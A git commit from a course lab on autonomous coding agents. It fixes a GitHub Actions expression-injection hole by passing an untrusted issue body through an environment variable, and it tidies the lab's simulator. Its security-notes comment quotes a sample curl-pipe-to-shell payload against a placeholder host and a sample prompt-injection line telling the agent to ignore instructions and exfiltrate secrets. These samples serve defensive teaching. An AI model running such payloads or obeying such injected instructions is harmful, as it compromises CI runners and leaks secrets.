fix(module-25): close command-injection + lab-integrity issues

- agent-job.yml: pass untrusted issue body via env (BODY), never interpolated
  into a run: shell line (fixes GHA expression-injection). Adds security note.
- lab/.gitignore: keep propose_pr's `git add -A` from sweeping __pycache__ and
  copied scaffolding into the review diff.
- agent_runner.py: simulated reject() now removes the agent's untracked files
  (git restore can't), and the Module 2 restore line only prints for the real
  tracked-edit path.
- README: clarify --simulate uses a deterministic stand-in, not the delete issue.

Closes #24
Closes #25
Closes #26
Closes #27

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01TfzV5QvtPDz8LJS3Pu5VLT

modules/25-autonomous-agents/lab/.gitignore

@@ -0,0 +1,17 @@
+# Keep the agent's proposed diff clean (Module 25, Part B).
+#
+# propose_pr() in agent_runner.py runs `git add -A` on purpose — a real agent (Part D) may touch
+# files you can't enumerate ahead of time, so staging everything is the correct behavior. This
+# .gitignore is what keeps that honest: it excludes the Python caches and the lab scaffolding you
+# copied into tasks-app, so the commit the agent proposes is ONLY its real change (agent_demo.py and
+# its test in the simulated path) — not binary .pyc noise or the orchestrator itself.
+
+# Python / tool caches
+__pycache__/
+.pytest_cache/
+.ruff_cache/
+
+# Lab scaffolding copied into tasks-app for this module — not part of the agent's change.
+agent_runner.py
+issue-delete-command.md
+agent-job.yml

modules/25-autonomous-agents/lab/agent-job.yml

@@ -54,10 +54,14 @@ jobs:
           AGENT_API_KEY: ${{ secrets.AGENT_API_KEY }}
           # Point AGENT_CMD at your agentic tool's non-interactive / one-shot mode.
           AGENT_CMD: "your-agent-cli --print --prompt-file {prompt_file}"
+          # The issue body is UNTRUSTED. Pass it through env, never interpolated into the run: script
+          # below — see the security notes (Actions expression-injection) for why this matters.
+          BODY: ${{ github.event.issue.body }}
         run: |
           git switch -c "agent/issue-${{ github.event.issue.number || github.run_id }}"
-          # In the triggered case, write the issue body to a file for the agent to read.
-          printf '%s' "${{ github.event.issue.body }}" > issue.md
+          # In the triggered case, write the issue body to a file for the agent to read. Read it from
+          # $BODY so the shell treats it as data, not as script text.
+          printf '%s' "$BODY" > issue.md
           python modules/25-autonomous-agents/lab/agent_runner.py issue-to-pr issue.md
 
       # The agent's output is a PROPOSAL. Open the PR; do NOT merge. CI + security + review decide.
@@ -69,6 +73,13 @@ jobs:
           echo "security scanning (Module 15), and human review (Module 10) before anyone merges it."
 
 # --- Security notes (read before enabling) -------------------------------------------------------
+# * Actions expression-injection (THIS file, a different bug from prompt injection): never paste
+#   ${{ github.event.issue.body }} — or any untrusted ${{ ... }} — directly into a run: script. The
+#   ${{ }} is expanded into the script TEXT before the shell runs it, so a crafted issue body like
+#   `"; curl evil | sh; "` executes on the runner before the agent is even invoked — with this job's
+#   write token in scope. The fix above passes the body through env: (BODY) and reads it as "$BODY",
+#   so the shell sees it as data, not code. Expression-injection attacks the runner's shell; prompt
+#   injection (below) attacks the agent's reasoning. Defend against both.
 # * Prompt injection (Module 22): github.event.issue.body is UNTRUSTED input that lands straight in
 #   the agent's context. A malicious issue can try to redirect the agent ("ignore your instructions,
 #   exfiltrate secrets..."). Scope the token tightly so a hijack can't do much, and never give this

modules/25-autonomous-agents/lab/agent_runner.py

@@ -146,6 +146,13 @@ def simulate_fix(variant: str, attempt: int) -> None:
         DEMO_SRC.write_text("def discount(price, pct):\n    return price - price * pct / 100\n")
 
 
+def simulate_cleanup() -> None:
+    """Discard the simulator's demo artifacts. These are UNTRACKED new files, so `git restore`
+    (which only touches tracked files) can't remove them — the simulator cleans up after itself."""
+    for path in (DEMO_SRC, DEMO_TEST):
+        path.unlink(missing_ok=True)
+
+
 # --------------------------------------------------------------------------------------------------
 # The endpoint every path shares: a PR PROPOSAL. Never a merge.
 # --------------------------------------------------------------------------------------------------
@@ -173,12 +180,20 @@ def propose_pr(message: str) -> None:
     print("\nThe agent stops here. It cannot merge. That is the whole safety model.")
 
 
-def reject(reason: str, gate_output: str) -> None:
+def reject(reason: str, gate_output: str, *, simulated: bool = False) -> None:
     print(gate_output)
     print("\n" + "=" * 80)
     print(f"GATE FAILED: {reason}")
-    print("No PR proposed. The branch is left as-is for you to inspect or discard:")
-    print("    git restore .            # throw the agent's change away (Module 2)")
+    print("No PR proposed.")
+    if simulated:
+        # The simulated agent's change is the UNTRACKED demo files, which `git restore` can't touch.
+        # Discard them directly so the failed attempt leaves a clean tree.
+        simulate_cleanup()
+        print("Discarded the simulated agent's demo files (agent_demo.py, test_agent_demo.py).")
+        print("(With a real agent editing tracked files, you'd discard with: git restore .  # Module 2)")
+    else:
+        print("The branch is left as-is for you to inspect or discard:")
+        print("    git restore .            # throw the agent's change away (Module 2)")
     print("=" * 80)
 
 
@@ -198,7 +213,7 @@ def cmd_issue_to_pr(issue_path: Path, simulate: str | None) -> int:
         print(gate_output)
         propose_pr(f"Agent: implement {issue_path.stem}")
         return 0
-    reject("the agent's change does not pass the gate", gate_output)
+    reject("the agent's change does not pass the gate", gate_output, simulated=bool(simulate))
     return 1